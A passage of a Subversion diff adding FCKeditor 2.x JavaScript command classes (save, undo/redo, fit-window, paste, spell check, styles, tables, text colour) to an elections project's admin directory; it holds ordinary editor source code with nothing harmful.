+		var bRet = oForm.onsubmit() ;
+		if ( bRet != null && bRet === false )
+			return ;
+	}
+
+	// Submit the form.
+	oForm.submit() ;
+}
+
+FCKSaveCommand.prototype.GetState = function()
+{
+	return FCK_TRISTATE_OFF ;
+}
+
+// ### NewPage
+var FCKNewPageCommand = function()
+{
+	this.Name = 'NewPage' ;
+}
+
+FCKNewPageCommand.prototype.Execute = function()
+{
+	FCKUndo.SaveUndoStep() ;
+	FCK.SetHTML( '' ) ;
+	FCKUndo.Typing = true ;
+//	FCK.SetHTML( FCKBrowserInfo.IsGecko ? '&nbsp;' : '' ) ;
+//	FCK.SetHTML( FCKBrowserInfo.IsGecko ? GECKO_BOGUS : '' ) ;
+}
+
+FCKNewPageCommand.prototype.GetState = function()
+{
+	return FCK_TRISTATE_OFF ;
+}
+
+// ### Source button
+var FCKSourceCommand = function()
+{
+	this.Name = 'Source' ;
+}
+
+FCKSourceCommand.prototype.Execute = function()
+{
+	if ( FCKConfig.SourcePopup )	// Until v2.2, it was mandatory for FCKBrowserInfo.IsGecko.
+	{
+		var iWidth	= FCKConfig.ScreenWidth * 0.65 ;
+		var iHeight	= FCKConfig.ScreenHeight * 0.65 ;
+		FCKDialog.OpenDialog( 'FCKDialog_Source', FCKLang.Source, 'dialog/fck_source.html', iWidth, iHeight, null, null, true ) ;
+	}
+	else
+	    FCK.SwitchEditMode() ;
+}
+
+FCKSourceCommand.prototype.GetState = function()
+{
+	return ( FCK.EditMode == FCK_EDITMODE_WYSIWYG ? FCK_TRISTATE_OFF : FCK_TRISTATE_ON ) ;
+}
+
+// ### Undo
+var FCKUndoCommand = function()
+{
+	this.Name = 'Undo' ;
+}
+
+FCKUndoCommand.prototype.Execute = function()
+{
+	if ( FCKBrowserInfo.IsIE )
+		FCKUndo.Undo() ;
+	else
+		FCK.ExecuteNamedCommand( 'Undo' ) ;
+}
+
+FCKUndoCommand.prototype.GetState = function()
+{
+	if ( FCKBrowserInfo.IsIE )
+		return ( FCKUndo.CheckUndoState() ? FCK_TRISTATE_OFF : FCK_TRISTATE_DISABLED ) ;
+	else
+		return FCK.GetNamedCommandState( 'Undo' ) ;
+}
+
+// ### Redo
+var FCKRedoCommand = function()
+{
+	this.Name = 'Redo' ;
+}
+
+FCKRedoCommand.prototype.Execute = function()
+{
+	if ( FCKBrowserInfo.IsIE )
+		FCKUndo.Redo() ;
+	else
+		FCK.ExecuteNamedCommand( 'Redo' ) ;
+}
+
+FCKRedoCommand.prototype.GetState = function()
+{
+	if ( FCKBrowserInfo.IsIE )
+		return ( FCKUndo.CheckRedoState() ? FCK_TRISTATE_OFF : FCK_TRISTATE_DISABLED ) ;
+	else
+		return FCK.GetNamedCommandState( 'Redo' ) ;
+}
+
+// ### Page Break
+var FCKPageBreakCommand = function()
+{
+	this.Name = 'PageBreak' ;
+}
+
+FCKPageBreakCommand.prototype.Execute = function()
+{
+//	var e = FCK.EditorDocument.createElement( 'CENTER' ) ;
+//	e.style.pageBreakAfter = 'always' ;
+
+	// Tidy was removing the empty CENTER tags, so the following solution has 
+	// been found. It also validates correctly as XHTML 1.0 Strict.
+	var e = FCK.EditorDocument.createElement( 'DIV' ) ;
+	e.style.pageBreakAfter = 'always' ;
+	e.innerHTML = '<span style="DISPLAY:none">&nbsp;</span>' ;
+	
+	var oFakeImage = FCKDocumentProcessor_CreateFakeImage( 'FCK__PageBreak', e ) ;
+	oFakeImage	= FCK.InsertElement( oFakeImage ) ;
+}
+
+FCKPageBreakCommand.prototype.GetState = function()
+{
+	return 0 ; // FCK_TRISTATE_OFF
+}
+
+// FCKUnlinkCommand - by Johnny Egeland (johnny@coretrek.com)
+var FCKUnlinkCommand = function()
+{
+	this.Name = 'Unlink' ;
+}
+
+FCKUnlinkCommand.prototype.Execute = function()
+{
+	if ( FCKBrowserInfo.IsGecko )
+	{
+		var oLink = FCK.Selection.MoveToAncestorNode( 'A' ) ;
+		if ( oLink ) 
+			FCK.Selection.SelectNode( oLink ) ;
+	}
+	
+	FCK.ExecuteNamedCommand( this.Name ) ;
+
+	if ( FCKBrowserInfo.IsGecko )
+		FCK.Selection.Collapse( true ) ;
+}
+
+FCKUnlinkCommand.prototype.GetState = function()
+{
+	return FCK.GetNamedCommandState( this.Name ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckfitwindow.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckfitwindow.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckfitwindow.js	(revision 44)
@@ -0,0 +1,164 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckfitwindow.js
+ * 	Stretch the editor to full window size and back.
+ * 
+ * File Authors:
+ * 		Paul Moers (mail@saulmade.nl)
+ * 		Thanks to Christian Fecteau (webmaster@christianfecteau.com)
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKFitWindow = function()
+{
+	this.Name = 'FitWindow' ;
+}
+
+FCKFitWindow.prototype.Execute = function()
+{
+	var eEditorFrame		= window.frameElement ;
+	var eEditorFrameStyle	= eEditorFrame.style ;
+
+	var eMainWindow			= parent ;
+	var eDocEl				= eMainWindow.document.documentElement ;
+	var eBody				= eMainWindow.document.body ;
+	var eBodyStyle			= eBody.style ;
+
+	// No original style properties known? Go fullscreen.
+	if ( !this.IsMaximized )
+	{
+		// Registering an event handler when the window gets resized.
+		if( FCKBrowserInfo.IsIE )
+			eMainWindow.attachEvent( 'onresize', FCKFitWindow_Resize ) ;
+		else
+			eMainWindow.addEventListener( 'resize', FCKFitWindow_Resize, true ) ;
+
+		// Save the scrollbars position.
+		this._ScrollPos = FCKTools.GetScrollPosition( eMainWindow ) ;
+		
+		// Save and reset the styles for the entire node tree. They could interfere in the result.
+		var eParent = eEditorFrame ;
+		while( eParent = eParent.parentNode )
+		{
+			if ( eParent.nodeType == 1 )
+				eParent._fckSavedStyles = FCKTools.SaveStyles( eParent ) ;
+		}		
+
+		// Hide IE scrollbars (in strict mode).
+		if ( FCKBrowserInfo.IsIE )
+		{
+			this.documentElementOverflow = eDocEl.style.overflow ;
+			eDocEl.style.overflow	= 'hidden' ;
+			eBodyStyle.overflow		= 'hidden' ;
+		}
+		else
+		{
+			// Hide the scroolbars in Firefox.
+			eBodyStyle.overflow = 'hidden' ;
+			eBodyStyle.width = '0px' ;
+			eBodyStyle.height = '0px' ;
+		}
+		
+		// Save the IFRAME styles.
+		this._EditorFrameStyles = FCKTools.SaveStyles( eEditorFrame ) ;
+		
+		// Resize.
+		var oViewPaneSize = FCKTools.GetViewPaneSize( eMainWindow ) ;
+
+		eEditorFrameStyle.position	= "absolute";
+		eEditorFrameStyle.zIndex	= FCKConfig.FloatingPanelsZIndex - 1;
+		eEditorFrameStyle.left		= "0px";
+		eEditorFrameStyle.top		= "0px";
+		eEditorFrameStyle.width		= oViewPaneSize.Width + "px";
+		eEditorFrameStyle.height	= oViewPaneSize.Height + "px";
+		
+		// Giving the frame some (huge) borders on his right and bottom
+		// side to hide the background that would otherwise show when the
+		// editor is in fullsize mode and the window is increased in size
+		// not for IE, because IE immediately adapts the editor on resize, 
+		// without showing any of the background oddly in firefox, the
+		// editor seems not to fill the whole frame, so just setting the
+		// background of it to white to cover the page laying behind it anyway.
+		if ( !FCKBrowserInfo.IsIE )
+		{
+			eEditorFrameStyle.borderRight = eEditorFrameStyle.borderBottom = "9999px solid white" ;
+			eEditorFrameStyle.backgroundColor		= "white";
+		}
+
+		// Scroll to top left.
+		eMainWindow.scrollTo(0, 0);
+
+		this.IsMaximized = true ;
+	}
+	else	// Resize to original size.
+	{
+		// Remove the event handler of window resizing.
+		if( FCKBrowserInfo.IsIE )
+			eMainWindow.detachEvent( "onresize", FCKFitWindow_Resize ) ;
+		else
+			eMainWindow.removeEventListener( "resize", FCKFitWindow_Resize, true ) ;
+
+		// Restore the CSS position for the entire node tree.
+		var eParent = eEditorFrame ;
+		while( eParent = eParent.parentNode )
+		{
+			if ( eParent._fckSavedStyles )
+			{
+				FCKTools.RestoreStyles( eParent, eParent._fckSavedStyles ) ;
+				eParent._fckSavedStyles = null ;
+			}
+		}
+		
+		// Restore IE scrollbars
+		if ( FCKBrowserInfo.IsIE )
+			eDocEl.style.overflow = this.documentElementOverflow ;
+
+		// Restore original size
+		FCKTools.RestoreStyles( eEditorFrame, this._EditorFrameStyles ) ;
+		
+		// Restore the window scroll position.
+		eMainWindow.scrollTo( this._ScrollPos.X, this._ScrollPos.Y ) ;
+
+		this.IsMaximized = false ;
+	}
+	
+	FCKToolbarItems.GetItem('FitWindow').RefreshState() ;
+
+	// It seams that Firefox restarts the editing area when making this changes.
+	// On FF 1.0.x, the area is not anymore editable. On FF 1.5+, the special 
+	//configuration, like DisableFFTableHandles and DisableObjectResizing get 
+	//lost, so we must reset it. Also, the cursor position and selection are 
+	//also lost, even if you comment the following line (MakeEditable).
+	// if ( FCKBrowserInfo.IsGecko10 )	// Initially I thought it was a FF 1.0 only problem.
+	FCK.EditingArea.MakeEditable() ;
+	
+	FCK.Focus() ;
+}
+
+FCKFitWindow.prototype.GetState = function()
+{
+	if ( FCKConfig.ToolbarLocation != 'In' )
+		return FCK_TRISTATE_DISABLED ;
+	else
+		return ( this.IsMaximized ? FCK_TRISTATE_ON : FCK_TRISTATE_OFF );
+}
+
+function FCKFitWindow_Resize()
+{
+	var oViewPaneSize = FCKTools.GetViewPaneSize( parent ) ;
+
+	var eEditorFrameStyle = window.frameElement.style ;
+
+	eEditorFrameStyle.width		= oViewPaneSize.Width + 'px' ;
+	eEditorFrameStyle.height	= oViewPaneSize.Height + 'px' ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcknamedcommand.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcknamedcommand.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcknamedcommand.js	(revision 44)
@@ -0,0 +1,33 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcknamedcommand.js
+ * 	FCKNamedCommand Class: represents an internal browser command.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKNamedCommand = function( commandName )
+{
+	this.Name = commandName ;
+}
+
+FCKNamedCommand.prototype.Execute = function()
+{
+	FCK.ExecuteNamedCommand( this.Name ) ;
+}
+
+FCKNamedCommand.prototype.GetState = function()
+{
+	return FCK.GetNamedCommandState( this.Name ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckpasteplaintextcommand.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckpasteplaintextcommand.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckpasteplaintextcommand.js	(revision 44)
@@ -0,0 +1,34 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckpasteplaintextcommand.js
+ * 	FCKPastePlainTextCommand Class: represents the 
+ * 	"Paste as Plain Text" command.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKPastePlainTextCommand = function() 
+{
+	this.Name = 'PasteText' ;
+}
+
+FCKPastePlainTextCommand.prototype.Execute = function()
+{
+	FCK.PasteAsPlainText() ;
+}
+
+FCKPastePlainTextCommand.prototype.GetState = function()
+{
+	return FCK.GetNamedCommandState( 'Paste' ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckpastewordcommand.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckpastewordcommand.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckpastewordcommand.js	(revision 44)
@@ -0,0 +1,36 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckpastewordcommand.js
+ * 	FCKPasteWordCommand Class: represents the "Paste from Word" command.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKPasteWordCommand = function() 
+{
+	this.Name = 'PasteWord' ;
+}
+
+FCKPasteWordCommand.prototype.Execute = function()
+{
+	FCK.PasteFromWord() ;
+}
+
+FCKPasteWordCommand.prototype.GetState = function()
+{
+	if ( FCKConfig.ForcePasteAsPlainText )
+		return FCK_TRISTATE_DISABLED ;
+	else
+		return FCK.GetNamedCommandState( 'Paste' ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckspellcheckcommand_gecko.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckspellcheckcommand_gecko.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckspellcheckcommand_gecko.js	(revision 44)
@@ -0,0 +1,35 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckspellcheckcommand_gecko.js
+ * 	FCKStyleCommand Class: represents the "Spell Check" command.
+ * 	(Gecko specific implementation)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKSpellCheckCommand = function()
+{
+	this.Name = 'SpellCheck' ;
+	this.IsEnabled = ( FCKConfig.SpellChecker == 'SpellerPages' ) ;
+}
+
+FCKSpellCheckCommand.prototype.Execute = function()
+{
+	FCKDialog.OpenDialog( 'FCKDialog_SpellCheck', 'Spell Check', 'dialog/fck_spellerpages.html', 440, 480 ) ;
+}
+
+FCKSpellCheckCommand.prototype.GetState = function()
+{
+	return this.IsEnabled ? FCK_TRISTATE_OFF : FCK_TRISTATE_DISABLED ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckspellcheckcommand_ie.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckspellcheckcommand_ie.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckspellcheckcommand_ie.js	(revision 44)
@@ -0,0 +1,63 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckspellcheckcommand_ie.js
+ * 	FCKStyleCommand Class: represents the "Spell Check" command.
+ * 	(IE specific implementation)
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKSpellCheckCommand = function()
+{
+	this.Name = 'SpellCheck' ;
+	this.IsEnabled = ( FCKConfig.SpellChecker == 'ieSpell' || FCKConfig.SpellChecker == 'SpellerPages' ) ;
+}
+
+FCKSpellCheckCommand.prototype.Execute = function()
+{
+	switch ( FCKConfig.SpellChecker )
+	{
+		case 'ieSpell' :
+			this._RunIeSpell() ;
+			break ;
+		
+		case 'SpellerPages' :
+			FCKDialog.OpenDialog( 'FCKDialog_SpellCheck', 'Spell Check', 'dialog/fck_spellerpages.html', 440, 480 ) ;
+			break ;
+	}
+}
+
+FCKSpellCheckCommand.prototype._RunIeSpell = function()
+{
+	try
+	{
+		var oIeSpell = new ActiveXObject( "ieSpell.ieSpellExtension" ) ;
+		oIeSpell.CheckAllLinkedDocuments( FCK.EditorDocument ) ;
+	}
+	catch( e )
+	{
+		if( e.number == -2146827859 )
+		{
+			if ( confirm( FCKLang.IeSpellDownload ) )
+				window.open( FCKConfig.IeSpellDownloadUrl , 'IeSpellDownload' ) ;
+		}
+		else
+			alert( 'Error Loading ieSpell: ' + e.message + ' (' + e.number + ')' ) ;
+	}
+}
+
+FCKSpellCheckCommand.prototype.GetState = function()
+{
+	return this.IsEnabled ? FCK_TRISTATE_OFF : FCK_TRISTATE_DISABLED ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckstylecommand.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckstylecommand.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fckstylecommand.js	(revision 44)
@@ -0,0 +1,95 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fckstylecommand.js
+ * 	FCKStyleCommand Class: represents the "Style" command.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKStyleCommand = function()
+{
+	this.Name = 'Style' ;
+
+	// Load the Styles defined in the XML file.
+	this.StylesLoader = new FCKStylesLoader() ;
+	this.StylesLoader.Load( FCKConfig.StylesXmlPath ) ;
+	this.Styles = this.StylesLoader.Styles ;
+}
+
+FCKStyleCommand.prototype.Execute = function( styleName, styleComboItem )
+{
+	FCKUndo.SaveUndoStep() ;
+
+	if ( styleComboItem.Selected )
+		styleComboItem.Style.RemoveFromSelection() ;
+	else
+		styleComboItem.Style.ApplyToSelection() ;
+
+	FCKUndo.SaveUndoStep() ;
+
+	FCK.Focus() ;
+	
+	FCK.Events.FireEvent( "OnSelectionChange" ) ;
+}
+
+FCKStyleCommand.prototype.GetState = function()
+{
+	if ( !FCK.EditorDocument )
+		return FCK_TRISTATE_DISABLED ;
+
+	var oSelection = FCK.EditorDocument.selection ;
+	
+	if ( FCKSelection.GetType() == 'Control' )
+	{
+		var e = FCKSelection.GetSelectedElement() ;
+		if ( e )
+			return this.StylesLoader.StyleGroups[ e.tagName ] ? FCK_TRISTATE_OFF : FCK_TRISTATE_DISABLED ;
+	}
+
+	return FCK_TRISTATE_OFF ;
+}
+
+FCKStyleCommand.prototype.GetActiveStyles = function()
+{
+	var aActiveStyles = new Array() ;
+	
+	if ( FCKSelection.GetType() == 'Control' )
+		this._CheckStyle( FCKSelection.GetSelectedElement(), aActiveStyles, false ) ;
+	else
+		this._CheckStyle( FCKSelection.GetParentElement(), aActiveStyles, true ) ;
+		
+	return aActiveStyles ;
+}
+
+FCKStyleCommand.prototype._CheckStyle = function( element, targetArray, checkParent )
+{
+	if ( ! element )
+		return ;
+
+	if ( element.nodeType == 1 )
+	{
+		var aStyleGroup = this.StylesLoader.StyleGroups[ element.tagName ] ;
+		if ( aStyleGroup )
+		{
+			for ( var i = 0 ; i < aStyleGroup.length ; i++ )
+			{
+				if ( aStyleGroup[i].IsEqual( element ) )
+					targetArray[ targetArray.length ] = aStyleGroup[i] ;
+			}		
+		}
+	}
+	
+	if ( checkParent )
+		this._CheckStyle( element.parentNode, targetArray, checkParent ) ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcktablecommand.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcktablecommand.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcktablecommand.js	(revision 44)
@@ -0,0 +1,67 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktablecommand.js
+ * 	FCKPastePlainTextCommand Class: represents the 
+ * 	"Paste as Plain Text" command.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+var FCKTableCommand = function( command )
+{
+	this.Name = command ;
+}
+
+FCKTableCommand.prototype.Execute = function()
+{
+	FCKUndo.SaveUndoStep() ;
+	
+	switch ( this.Name )
+	{
+		case 'TableInsertRow' :
+			FCKTableHandler.InsertRow() ;
+			break ;
+		case 'TableDeleteRows' :
+			FCKTableHandler.DeleteRows() ;
+			break ;
+		case 'TableInsertColumn' :
+			FCKTableHandler.InsertColumn() ;
+			break ;
+		case 'TableDeleteColumns' :
+			FCKTableHandler.DeleteColumns() ;
+			break ;
+		case 'TableInsertCell' :
+			FCKTableHandler.InsertCell() ;
+			break ;
+		case 'TableDeleteCells' :
+			FCKTableHandler.DeleteCells() ;
+			break ;
+		case 'TableMergeCells' :
+			FCKTableHandler.MergeCells() ;
+			break ;
+		case 'TableSplitCell' :
+			FCKTableHandler.SplitCell() ;
+			break ;
+		case 'TableDelete' :
+			FCKTableHandler.DeleteTable() ;
+			break ;
+		default :
+			alert( FCKLang.UnknownCommand.replace( /%1/g, this.Name ) ) ;
+	}
+}
+
+FCKTableCommand.prototype.GetState = function()
+{
+	return FCK_TRISTATE_OFF ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcktextcolorcommand.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcktextcolorcommand.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/commandclasses/fcktextcolorcommand.js	(revision 44)
@@ -0,0 +1,171 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
+ * Licensed under the terms of the GNU Lesser General Public License:
+ * 		http://www.opensource.org/licenses/lgpl-license.php
+ * 
+ * For further information visit:
+ * 		http://www.fckeditor.net/
+ * 
+ * "Support Open Source software. What about a donation today?"
+ * 
+ * File Name: fcktextcolorcommand.js
+ * 	FCKTextColorCommand Class: represents the text color comand. It shows the
+ * 	color selection panel.
+ * 
+ * File Authors:
+ * 		Frederico Caldeira Knabben (fredck@fckeditor.net)
+ */
+
+// FCKTextColorCommand Contructor
+//		type: can be 'ForeColor' or 'BackColor'.
+var FCKTextColorCommand = function( type )
+{
+	this.Name = type == 'ForeColor' ? 'TextColor' : 'BGColor' ;
+	this.Type = type ;
+
+	var oWindow ;
+	
+	if ( FCKBrowserInfo.IsIE )
+		oWindow = window ;
+	else if ( FCK.ToolbarSet._IFrame )
+		oWindow = FCKTools.GetElementWindow( FCK.ToolbarSet._IFrame ) ;
+	else
+		oWindow = window.parent ;
+
+	this._Panel = new FCKPanel( oWindow, true ) ;
+	this._Panel.AppendStyleSheet( FCKConfig.SkinPath + 'fck_editor.css' ) ;
+	this._Panel.MainNode.className = 'FCK_Panel' ;
+	this._CreatePanelBody( this._Panel.Document, this._Panel.MainNode ) ;
+	
+	FCKTools.DisableSelection( this._Panel.Document.body ) ;
+}
+
+FCKTextColorCommand.prototype.Execute = function( panelX, panelY, relElement )
+{
+	// We must "cache" the actual panel type to be used in the SetColor method.
+	FCK._ActiveColorPanelType = this.Type ;
+
+	// Show the Color Panel at the desired position.
+	this._Panel.Show( panelX, panelY, relElement ) ;
+}
+
+FCKTextColorCommand.prototype.SetColor = function( color )
+{
+	if ( FCK._ActiveColorPanelType == 'ForeColor' )
+		FCK.ExecuteNamedCommand( 'ForeColor', color ) ;
+	else if ( FCKBrowserInfo.IsGeckoLike )
+	{
+		if ( FCKBrowserInfo.IsGecko && !FCKConfig.GeckoUseSPAN )
+			FCK.EditorDocument.execCommand( 'useCSS', false, false ) ;
+			
+		FCK.ExecuteNamedCommand( 'hilitecolor', color ) ;
+
+		if ( FCKBrowserInfo.IsGecko && !FCKConfig.GeckoUseSPAN )
+			FCK.EditorDocument.execCommand( 'useCSS', false, true ) ;
+	}
+	else
+		FCK.ExecuteNamedCommand( 'BackColor', color ) ;
+	
+	// Delete the "cached" active panel type.
+	delete FCK._ActiveColorPanelType ;
+}
+
+FCKTextColorCommand.prototype.GetState = function()
+{
+	return FCK_TRISTATE_OFF ;
+}
+
+function FCKTextColorCommand_OnMouseOver()	{ this.className='ColorSelected' ; }
+
+function FCKTextColorCommand_OnMouseOut()	{ this.className='ColorDeselected' ; }
+
+function FCKTextColorCommand_OnClick()
+{
+	this.className = 'ColorDeselected' ;
+	this.Command.SetColor( '#' + this.Color ) ;
+	this.Command._Panel.Hide() ;
+}
+
+function FCKTextColorCommand_AutoOnClick()
+{
+	this.className = 'ColorDeselected' ;
+	this.Command.SetColor( '' ) ;
+	this.Command._Panel.Hide() ;
+}
+
+function FCKTextColorCommand_MoreOnClick()
+{
+	this.className = 'ColorDeselected' ;
+	this.Command._Panel.Hide() ;
+	FCKDialog.OpenDialog( 'FCKDialog_Color', FCKLang.DlgColorTitle, 'dialog/fck_colorselector.html', 400, 330, this.Command.SetColor ) ;
+}
+
+FCKTextColorCommand.prototype._CreatePanelBody = function( targetDocument, targetDiv )
+{
+	function CreateSelectionDiv()
+	{
+		var oDiv = targetDocument.createElement( "DIV" ) ;
+		oDiv.className		= 'ColorDeselected' ;
+		oDiv.onmouseover	= FCKTextColorCommand_OnMouseOver ;
+		oDiv.onmouseout		= FCKTextColorCommand_OnMouseOut ;
+		
+		return oDiv ;
+	}
+
+	// Create the Table that will hold all colors.
+	var oTable = targetDiv.appendChild( targetDocument.createElement( "TABLE" ) ) ;
+	oTable.className = 'ForceBaseFont' ;		// Firefox 1.5 Bug.
+	oTable.style.tableLayout = 'fixed' ;
+	oTable.cellPadding = 0 ;
+	oTable.cellSpacing = 0 ;
+	oTable.border = 0 ;
+	oTable.width = 150 ;
+
+	var oCell = oTable.insertRow(-1).insertCell(-1) ;
+	oCell.colSpan = 8 ;
+
+	// Create the Button for the "Automatic" color selection.
+	var oDiv = oCell.appendChild( CreateSelectionDiv() ) ;
+	oDiv.innerHTML = 
+		'<table cellspacing="0" cellpadding="0" width="100%" border="0">\
+			<tr>\
+				<td><div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #000000"></div></div></td>\
+				<td nowrap width="100%" align="center">' + FCKLang.ColorAutomatic + '</td>\
+			</tr>\
+		</table>' ;
+
+	oDiv.Command = this ;
+	oDiv.onclick = FCKTextColorCommand_AutoOnClick ;
+
+	// Create an array of colors based on the configuration file.
+	var aColors = FCKConfig.FontColors.toString().split(',') ;
+
+	// Create the colors table based on the array.
+	var iCounter = 0 ;
+	while ( iCounter < aColors.length )
+	{
+		var oRow = oTable.insertRow(-1) ;
+		
+		for ( var i = 0 ; i < 8 && iCounter < aColors.length ; i++, iCounter++ )
+		{
+			oDiv = oRow.insertCell(-1).appendChild( CreateSelectionDiv() ) ;
+			oDiv.Color = aColors[iCounter] ;
+			oDiv.innerHTML = '<div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #' + aColors[iCounter] + '"></div></div>' ;
+
+			oDiv.Command = this ;
+			oDiv.onclick = FCKTextColorCommand_OnClick ;
+		}
+	}
+
+	// Create the Row and the Cell for the "More Colors..." button.
+	oCell = oTable.insertRow(-1).insertCell(-1) ;
+	oCell.colSpan = 8 ;
+
+	oDiv = oCell.appendChild( CreateSelectionDiv() ) ;
+	oDiv.innerHTML = '<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td nowrap align="center">' + FCKLang.ColorMoreColors + '</td></tr></table>' ;
+
+	oDiv.Command = this ;
+	oDiv.onclick = FCKTextColorCommand_MoreOnClick ;
+}
Index: /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckconstants.js
===================================================================
--- /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckconstants.js	(revision 44)
+++ /trunk/elezioni/trunk/admin/inc/FCKeditor/editor/_source/fckconstants.js	(revision 44)
@@ -0,0 +1,44 @@
+﻿/*
+ * FCKeditor - The text editor for internet
+ * Copyright (C) 2003-2006 Frederico Caldeira Knabben
+ * 
